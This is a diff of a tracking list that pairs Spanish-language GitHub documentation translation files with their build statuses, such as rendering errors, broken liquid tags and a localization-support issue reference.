-translations/es-ES/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md,rendering error
-translations/es-ES/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md,rendering error
-translations/es-ES/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md,rendering error
-translations/es-ES/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md,rendering error
-translations/es-ES/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md,rendering error
-translations/es-ES/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md,rendering error
-translations/es-ES/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md,rendering error
-translations/es-ES/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md,rendering error
-translations/es-ES/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md,rendering error
-translations/es-ES/content/billing/managing-your-license-for-github-enterprise/index.md,rendering error
-translations/es-ES/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md,rendering error
-translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md,rendering error
+translations/es-ES/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md,broken liquid tags
+translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md,broken liquid tags
 translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md,Listed in localization-support#489
-translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md,rendering error
-translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md,rendering error
+translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md,broken liquid tags
+translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md,broken liquid tags
 translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md,Listed in localization-support#489
-translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md,rendering error
+translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md,broken liquid tags
 translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md,Listed in localization-support#489
-translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md,rendering error
-translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md,rendering error
+translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md,broken liquid tags
 translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md,Listed in localization-support#489
-translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md,rendering error
+translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md,broken liquid tags
 translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md,Listed in localization-support#489
-translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md,rendering error
 translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md,Listed in localization-support#489
-translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md,rendering error
-translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md,rendering error
-translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md,rendering error
-translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md,rendering error
-translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/index.md,rendering error
-translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md,rendering error
-translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md,rendering error
-translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md,rendering error
-translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md,rendering error
-translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md,rendering error
-translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md,rendering error
-translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md,rendering error
-translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md,rendering error
-translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system.md,rendering error
-translations/es-ES/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md,rendering error
+translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md,broken liquid tags
+translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md,broken liquid tags
+translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/index.md,broken liquid tags
+translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md,broken liquid tags
+translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md,broken liquid tags
+translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md,broken liquid tags
+translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md,broken liquid tags
+translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md,broken liquid tags
+translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md,broken liquid tags
+translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md,broken liquid tags
+translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system.md,broken liquid tags
 translations/es-ES/content/code-security/getting-started/github-security-features.md,Listed in localization-support#489
-translations/es-ES/content/code-security/getting-started/github-security-features.md,rendering error
 translations/es-ES/content/code-security/getting-started/securing-your-organization.md,Listed in localization-support#489
-translations/es-ES/content/code-security/getting-started/securing-your-organization.md,rendering error
 translations/es-ES/content/code-security/getting-started/securing-your-repository.md,Listed in localization-support#489
-translations/es-ES/content/code-security/getting-started/securing-your-repository.md,rendering error
 translations/es-ES/content/code-security/guides.md,Listed in localization-support#489
-translations/es-ES/content/code-security/guides.md,rendering error
 translations/es-ES/content/code-security/index.md,Listed in localization-support#489
-translations/es-ES/content/code-security/index.md,rendering error
 translations/es-ES/content/code-security/secret-scanning/about-secret-scanning.md,Listed in localization-support#489
-translations/es-ES/content/code-security/secret-scanning/about-secret-scanning.md,rendering error
-translations/es-ES/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md,rendering error
 translations/es-ES/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md,Listed in localization-support#489
-translations/es-ES/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md,rendering error
-translations/es-ES/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md,rendering error
-translations/es-ES/content/code-security/security-overview/about-the-security-overview.md,rendering error
 translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates.md,rendering error
 translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md,rendering error
 translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates.md,rendering error
 translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/customizing-dependency-updates.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/customizing-dependency-updates.md,rendering error
 translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates.md,rendering error
+translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates.md,broken liquid tags
 translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/index.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/index.md,rendering error
 translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot.md,rendering error
 translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/listing-dependencies-configured-for-version-updates.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/listing-dependencies-configured-for-version-updates.md,rendering error
 translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot.md,rendering error
 translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates.md,rendering error
-translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/upgrading-from-dependabotcom-to-github-native-dependabot.md,rendering error
+translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/upgrading-from-dependabotcom-to-github-native-dependabot.md,broken liquid tags
 translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md,rendering error
 translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md,rendering error
 translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-managing-vulnerable-dependencies.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-managing-vulnerable-dependencies.md,rendering error
-translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md,rendering error
 translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates.md,rendering error
-translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md,rendering error
-translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md,rendering error
 translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors.md,rendering error
 translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md,rendering error
 translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md,rendering error
 translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md,rendering error
 translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md,rendering error
 translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository.md,rendering error
 translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/index.md,Listed in localization-support#489
-translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/index.md,rendering error
-translations/es-ES/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md,rendering error
-translations/es-ES/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md,rendering error
-translations/es-ES/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md,rendering error
-translations/es-ES/content/codespaces/customizing-your-codespace/index.md,rendering error
 translations/es-ES/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md,Listed in localization-support#489
-translations/es-ES/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md,rendering error
-translations/es-ES/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md,rendering error
-translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md,rendering error
-translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md,rendering error
-translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md,rendering error
 translations/es-ES/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md,Listed in localization-support#489
-translations/es-ES/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md,rendering error
 translations/es-ES/content/codespaces/developing-in-codespaces/creating-a-codespace.md,Listed in localization-support#489
-translations/es-ES/content/codespaces/developing-in-codespaces/creating-a-codespace.md,rendering error
 translations/es-ES/content/codespaces/developing-in-codespaces/deleting-a-codespace.md,Listed in localization-support#489
-translations/es-ES/content/codespaces/developing-in-codespaces/deleting-a-codespace.md,rendering error
 translations/es-ES/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md,Listed in localization-support#489
-translations/es-ES/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md,rendering error
 translations/es-ES/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md,Listed in localization-support#489
-translations/es-ES/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md,rendering error
 translations/es-ES/content/codespaces/developing-in-codespaces/index.md,Listed in localization-support#489
-translations/es-ES/content/codespaces/developing-in-codespaces/index.md,rendering error
 translations/es-ES/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md,Listed in localization-support#489
-translations/es-ES/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md,rendering error
 translations/es-ES/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md,Listed in localization-support#489
-translations/es-ES/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md,rendering error
-translations/es-ES/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md,rendering error
 translations/es-ES/content/codespaces/getting-started/deep-dive.md,Listed in localization-support#489
-translations/es-ES/content/codespaces/getting-started/deep-dive.md,rendering error
-translations/es-ES/content/codespaces/guides.md,rendering error
 translations/es-ES/content/codespaces/index.md,Listed in localization-support#489
-translations/es-ES/content/codespaces/index.md,rendering error
-translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md,rendering error
-translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md,rendering error
-translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md,rendering error
-translations/es-ES/content/codespaces/managing-your-codespaces/index.md,rendering error
-translations/es-ES/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md,rendering error
 translations/es-ES/content/codespaces/overview.md,Listed in localization-support#489
-translations/es-ES/content/codespaces/overview.md,rendering error
-translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md,rendering error
-translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/index.md,rendering error
 translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md,Listed in localization-support#489
-translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md,rendering error
 translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md,Listed in localization-support#489
-translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md,rendering error
 translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md,Listed in localization-support#489
-translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md,rendering error
-translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md,rendering error
 translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md,Listed in localization-support#489
-translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md,rendering error
-translations/es-ES/content/codespaces/troubleshooting/codespaces-logs.md,rendering error
 translations/es-ES/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md,Listed in localization-support#489
-translations/es-ES/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md,rendering error
 translations/es-ES/content/communities/documenting-your-project-with-wikis/about-wikis.md,Listed in localization-support#489
 translations/es-ES/content/communities/documenting-your-project-with-wikis/about-wikis.md,parsing error
-translations/es-ES/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md,rendering error
-translations/es-ES/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md,rendering error
-translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md,rendering error
-translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md,rendering error
 translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository.md,Listed in localization-support#489
-translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository.md,rendering error
-translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md,rendering error
 translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms.md,Listed in localization-support#489
-translations/es-ES/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms.md,rendering error
 translations/es-ES/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop.md,Listed in localization-support#489
-translations/es-ES/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop.md,rendering error
 translations/es-ES/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches.md,Listed in localization-support#489
-translations/es-ES/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches.md,rendering error
-translations/es-ES/content/developers/apps/building-github-apps/authenticating-with-github-apps.md,rendering error
-translations/es-ES/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md,rendering error
-translations/es-ES/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md,rendering error
-translations/es-ES/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md,rendering error
-translations/es-ES/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md,rendering error
-translations/es-ES/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md,rendering error
-translations/es-ES/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md,rendering error
-translations/es-ES/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md,rendering error
-translations/es-ES/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md,rendering error
-translations/es-ES/content/developers/apps/getting-started-with-apps/about-apps.md,rendering error
-translations/es-ES/content/developers/apps/guides/using-content-attachments.md,rendering error
-translations/es-ES/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md,rendering error
-translations/es-ES/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md,rendering error
-translations/es-ES/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md,rendering error
-translations/es-ES/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md,rendering error
-translations/es-ES/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md,rendering error
-translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md,rendering error
-translations/es-ES/content/developers/overview/managing-deploy-keys.md,rendering error
-translations/es-ES/content/developers/webhooks-and-events/events/github-event-types.md,rendering error
 translations/es-ES/content/developers/webhooks-and-events/events/issue-event-types.md,Listed in localization-support#489
-translations/es-ES/content/developers/webhooks-and-events/events/issue-event-types.md,rendering error
-translations/es-ES/content/developers/webhooks-and-events/webhooks/securing-your-webhooks.md,rendering error
-translations/es-ES/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md,rendering error
-translations/es-ES/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md,rendering error
 translations/es-ES/content/discussions/guides/best-practices-for-community-conversations-on-github.md,Listed in localization-support#489
-translations/es-ES/content/discussions/guides/best-practices-for-community-conversations-on-github.md,rendering error
 translations/es-ES/content/discussions/index.md,Listed in localization-support#489
-translations/es-ES/content/discussions/index.md,rendering error
-translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md,rendering error
-translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md,rendering error
+translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md,broken liquid tags
 translations/es-ES/content/education/guides.md,Listed in localization-support#489
-translations/es-ES/content/education/guides.md,rendering error
-translations/es-ES/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md,rendering error
-translations/es-ES/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md,rendering error
+translations/es-ES/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md,broken liquid tags
 translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md,Listed in localization-support#489
-translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md,rendering error
+translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md,broken liquid tags
 translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md,Listed in localization-support#489
-translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md,rendering error
-translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md,rendering error
 translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md,Listed in localization-support#489
-translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md,rendering error
 translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/leave-feedback-with-pull-requests.md,Listed in localization-support#489
-translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/leave-feedback-with-pull-requests.md,rendering error
-translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md,rendering error
-translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md,rendering error
-translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md,rendering error
-translations/es-ES/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md,rendering error
-translations/es-ES/content/get-started/exploring-projects-on-github/index.md,rendering error
-translations/es-ES/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md,rendering error
-translations/es-ES/content/get-started/getting-started-with-git/about-remote-repositories.md,rendering error
-translations/es-ES/content/get-started/getting-started-with-git/associating-text-editors-with-git.md,rendering error
-translations/es-ES/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md,rendering error
-translations/es-ES/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md,rendering error
-translations/es-ES/content/get-started/getting-started-with-git/git-workflows.md,rendering error
-translations/es-ES/content/get-started/getting-started-with-git/ignoring-files.md,rendering error
-translations/es-ES/content/get-started/getting-started-with-git/index.md,rendering error
-translations/es-ES/content/get-started/getting-started-with-git/managing-remote-repositories.md,rendering error
-translations/es-ES/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md,rendering error
-translations/es-ES/content/get-started/index.md,rendering error
-translations/es-ES/content/get-started/learning-about-github/about-github-advanced-security.md,rendering error
-translations/es-ES/content/get-started/learning-about-github/access-permissions-on-github.md,rendering error
-translations/es-ES/content/get-started/learning-about-github/index.md,rendering error
-translations/es-ES/content/get-started/learning-about-github/types-of-github-accounts.md,rendering error
-translations/es-ES/content/get-started/onboarding/getting-started-with-github-ae.md,rendering error
 translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md,Listed in localization-support#489
-translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md,rendering error
-translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-server.md,rendering error
-translations/es-ES/content/get-started/onboarding/getting-started-with-github-team.md,rendering error
-translations/es-ES/content/get-started/onboarding/getting-started-with-your-github-account.md,rendering error
+translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md,broken liquid tags
 translations/es-ES/content/get-started/quickstart/be-social.md,Listed in localization-support#489
-translations/es-ES/content/get-started/quickstart/be-social.md,rendering error
-translations/es-ES/content/get-started/quickstart/communicating-on-github.md,rendering error
-translations/es-ES/content/get-started/quickstart/create-a-repo.md,rendering error
 translations/es-ES/content/get-started/quickstart/fork-a-repo.md,Listed in localization-support#489
-translations/es-ES/content/get-started/quickstart/fork-a-repo.md,rendering error
